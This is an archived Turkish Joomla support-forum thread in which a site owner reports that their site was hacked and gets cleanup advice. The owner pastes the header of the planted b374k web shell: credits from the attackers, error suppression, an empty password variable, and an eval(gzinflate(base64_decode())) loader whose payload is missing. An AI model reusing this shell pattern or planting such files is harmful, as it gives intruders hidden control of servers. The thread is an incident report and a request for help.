PDA

Orijinalini görmek için tıklayınız : Site Shell Yemiş



ZuCChiNi
22-11-2014, 09:44
Uzun zamandır siteme bakamıyordum. Ana sayfayı açtığımda boş bir sayfa çıkıyordu.
Joomla! dışında değişik klasörlerde farklı sayfalar vardı. Örneğin AutoIndex. Bunun gibi
sayfaları da açmaya çalıştığımda boş sayfa çıkıyordu.
İncelediğimde httpdocs klasöründe cak.php ve benimkinden farklı configuration.php
dosyası olduğunu gördüm. Bu iki dosyayı indirmeye MS Essentials çalıştığımda virüs tehdidi var diyerek siliyor.
cak.php ve configuration.php'nin zararsız üst kısmı

<?php
// b374k m1n1 jump1ng sh3LL
// r3c0d3d by Mr.HaurgeulisX196 and Sinkaroid
// We 4re 666h0st in Cyb3rspace . . .

error_reporting(0);
@set_time_limit(0);
@session_start();

// server software
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// server name
$xServerName = $_SERVER["HTTP_HOST"];
// process login password
$xPass = $_POST['pass'];
// checking login status
$xCheck_login = 1;
// login password
$xPassword = "";
// your nickname ;)
$xName = "Sinkaroid a.k.a Bibz";

//Shell No Password
eval(gzinflate(base64_decode("
)));
?>

Şimdi autoindex sayfasına (... .tr/dosyalar klasörü) bile girsem beyaz sayfa çıkıyor.
Dosyaların hiçbirinin tarihi değişmemiş ve incelediğim kadarı ile içine kod eklenmemiş.
Ama beyaz sayfadan kurtulamıyorum.

angelaus
22-11-2014, 14:11
önce hostu değiştirin
sıfır joomla kurun, eski hosttaki veritabanı öneki ile aynı olsun.

sonra bileşen ve modüllerinizi tekrar kurun ( warez kullanmayın shell atarlar üzülürsün ). temayı kurun

sonra eski hosttan veritabanını yenisine taşıyın

ZuCChiNi
23-11-2014, 04:11
Host güvenilir ama ne kadar sağlam bilmiyorum.
Sitemde korsan bileşen, modül veya tema kullanmadım.
Tekrar kurmayı düşünüyorum ama ayıracak zamanım yok.
Keşke desteklese de 3 kursam.
Anlamadığım şey diğer klasörlerin boş sayfa çıkarması.

angelaus
23-11-2014, 13:40
index atılmıştır beyaz sayfa normal.

ZuCChiNi
23-11-2014, 22:58
configuration.php dosyasını yükledim.
Site şu anda aktif ama dediğim gibi bağımsız çalışan scriptler çalışmıyor.
Bu durumdan nasıl kurtulurum?

angelaus
24-11-2014, 17:33
tüm siteyi indirip taratabilirsin